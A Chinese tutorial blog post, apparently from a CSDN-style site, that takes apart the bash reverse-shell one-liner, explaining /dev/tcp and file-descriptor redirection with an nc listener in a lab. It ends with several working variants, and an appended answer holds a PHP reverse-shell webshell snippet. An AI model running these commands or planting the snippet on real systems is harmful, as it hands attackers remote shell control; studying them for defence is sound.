反弹shell--bash一句话解析

作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途

bash反弹shell解析

最基础的反弹shell语句,这么久只会用,但不知道其中的奇妙之处
真是妙蛙种子被踢出了米奇妙妙屋。。。

bash -i >& /dev/tcp/192.168.1.1/6666 0>&1

测试环境

nc监听主机
IP:192.168.1.1

nc -lvvp 6666

进行反弹shell主机
IP:192.168.1.131

拆分语句了解一下

交互式

bash -i是打开一个交互式的bash

马老师什么是交互式?有问,有答,训练有素(也就是有输入有输出)

#查询当前shell命令是哪一种
ls -l /bin/sh

在这里插入图片描述

#查看是否是交互式
echo $- 

在这里插入图片描述

连接设备

/dev/tcp/192.168.1.1/6666

是Linux中的一个特殊设备,也算个文件,打开这个就相当于对指定设备发出了一个socket连接

使用tcp进行建立socket连接,然后可以读写这个socket连接中的数据。

同理tcp改为udp,就是udp连接。

文件描述符

文件描述符,是用来控制bash命令从哪输入与输出到哪的特殊符号

标准输入(STDIN)  			代码0 			
重定向标准输入 				操作符<			默认输入是键盘

标准输出(STDOUT)				代码1			
重定向标准输出 				操作符>或者>>	默认输出显示器

标准错误输出(STDERR)			代码2		   
重定向错误标准输出 			操作符2>或者2>>   默认输出显示器

重定向标准输出和标准错误输出 	操作符&> 		将标准输出和错误输出定向到指定位置
bash -i > /dev/tcp/192.168.1.1/6666
#标准输出重定向为设备,没指定输入,所以默认从键盘输入命令,结果输出到指定的设备(攻击机)

在这里插入图片描述

bash -i < /dev/tcp/192.168.1.1/6666
#标准输如重定向为设备,没指定标准输出,所以默认从屏幕输出结果,从指定设备(攻击机)输入命令

在这里插入图片描述

bash -i < /dev/tcp/192.168.1.1/6666 > /dev/tcp/192.168.1.1/8888
#由于重定向了标准输如和输出,所以从指定设备(攻击机)6666端口输入指令,从指定设备(攻击机)8888端口输出结果

在这里插入图片描述
代码2的标准错误输出又是啥?看下面俩语句:

bash -i > /dev/tcp/192.168.1.1/6666
bash -i 2> /dev/tcp/192.168.1.1/6666

第一个语句是标准输出重定向到设备,也就是命令语句成功执行,返回的结果在指定设备显示
第二个语句是标准错误输出重定向到设备,是命令执行失败,返回的报错显示在指定设备

第二句比方:输入ifconfig,成功执行,不会将结果显示在攻击机;输入ipconfig,执行失败,将执行失败返回的报错显示在攻击机。

合并输入输出

当然在使用的是,不管是正确错误,我们都想在指定设备输出,就可以使用合并

n>&m	将输出文件n重定向到m
n<&m	将输入文件n重定向到m

单独>&这个意思是重定向标准输出和标准错误输出到指定设备

2>&1基本一样,但略有不同

bash -i 2>&1 > /dev/tcp/192.168.1.1/6666
bash -i > /dev/tcp/192.168.1.1/6666	2>&1

注意上面两个的差别:

1原本是屏幕,2也是屏幕,2定向到1还是屏幕,1然后定向到设备,2不会跟着1定向所以还是屏幕。

1原本是屏幕,定向到设备变成了设备,2又定向到1,所以跟着就定向到设备。

这点细微的差距有什么区别呢?

第一个语句,如果当你输入一条错误指令,会在被攻击主机显示报错内容

在这里插入图片描述

第二个语句,不管你正确错误,都会显示在指定设备上
在这里插入图片描述

然后输入与输出合并

bash -i > /dev/tcp/192.168.1.1/6666	0>&1
bash -i > /dev/tcp/192.168.1.1/6666	0<&1

1定向到设备,0是键盘,0定向到1,也就是定向到了设备

就成了我们要的结果,指定设备(攻击机)进行输入,指定设备(攻击机)进行输出
在这里插入图片描述

大合并

懂了原理,反弹语句就千变万化了,只要全定向到设备就ok了。

bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
bash -i > /dev/tcp/192.168.1.1/6666 2>&1 0>&1
bash -i < /dev/tcp/192.168.1.1/6666 2>&0 1>&0
  • 8
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
### 回答1: "bash -i >& /dev/tcp/IP地址/端口号 0>&1"。 这是一句简单的 Bash 命令,用于在远程主机上打开一个反弹 shell。它使用了 Bash 的内置命令 "bash -i" 来启动一个交互式 shell,并使用 ">&" 和 "/dev/tcp/IP地址/端口号" 来将 shell 的输入和输出重定向到远程主机上的指定 IP 地址和端口。这样,你就可以在远程主机上运行命令并获得输出,就像在本地 shell 中一样。 注意:使用反弹 shell 是一种非常危险的操作,应该只在拥有合法权限的情况下使用。如果你在没有合法权限的情况下使用反弹 shell,你可能会触犯法律。 ### 回答2: 反弹shell代码是指通过在目标计算机上执行恶意代码,将计算机中的shell连接会转移到攻击者控制的远程服务器上。这样,攻击者就能够远程控制目标计算机。一句反弹shell代码是一种常见的恶意代码,攻击者通常通过利用漏洞将这段代码注入到目标服务器的Web应用程序中。 以下是一个简单的一句反弹shell代码的示例: ``` <?php $sock=fsockopen("攻击者的IP地址",攻击者的端口);shell_exec("/bin/sh -i <&3 >&3 2>&3");?> ``` 以上代码中,“攻击者的IP地址”需要替换为攻击者服务器的实际IP地址,“攻击者的端口”需要替换为攻击者服务器监听的实际端口。 当目标服务器上的Web应用程序执行包含以上代码的恶意请求时,它将尝试与攻击者的服务器建立连接。一旦成功连接,攻击者就可以通过与目标计算机建立的连接会执行命令、获取敏感信息或者进行其他恶意活动。 使用这种方式执行恶意代码是非法的,并且对网络安全造成威胁。为了保护网络安全,服务器管理员需要定期更新软件和系统补丁,同时对输入进行有效的过滤和验证,以防止类似的攻击。 ### 回答3: 反弹shell代码是一种利用网络连接远程控制目标操作系统的方法。以下是一个300字的中文回答: 反弹shell代码是一种用于在网络中远程控制目标操作系统的技术,可以实现向目标计算机发送命令并接收返回结果。该代码通常被黑客用于非法活动,因此对于正当目的者来说,了解反弹shell代码的原理和方法是非常重要的。 反弹shell代码的基本原理是将一个后门程序或指令嵌入到目标系统中,使得黑客可以通过网络连接远程操控目标系统。当黑客成功地将后门程序或指令嵌入到目标系统后,他们就能够通过特定的网络端口或协议监听并等待一个连接。一旦有连接建立,黑客就能够与目标系统建立通信,并发送命令执行特定的操作。 反弹shell代码常见的用途包括获取目标系统的敏感信息、执行某些操作以获取非法利益或破坏目标系统的安全性。因此,了解反弹shell代码以及如何防范其攻击是非常重要的。对于普通用户来说,保持操作系统和软件的最新补丁、不安全网站、可疑附件和链接、避免打开来历不明的文件等都是预防黑客利用反弹shell代码攻击的有效方法。 总而言之,反弹shell代码是一种通过网络连接远程控制目标操作系统的技术。对于黑客来说,它是一种非法的工具,但对于系统管理员和安全专家来说,了解其原理和如何防范攻击是非常重要的。通过采取适当的安全措施,我们可以减少反弹shell代码对我们系统的威胁。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值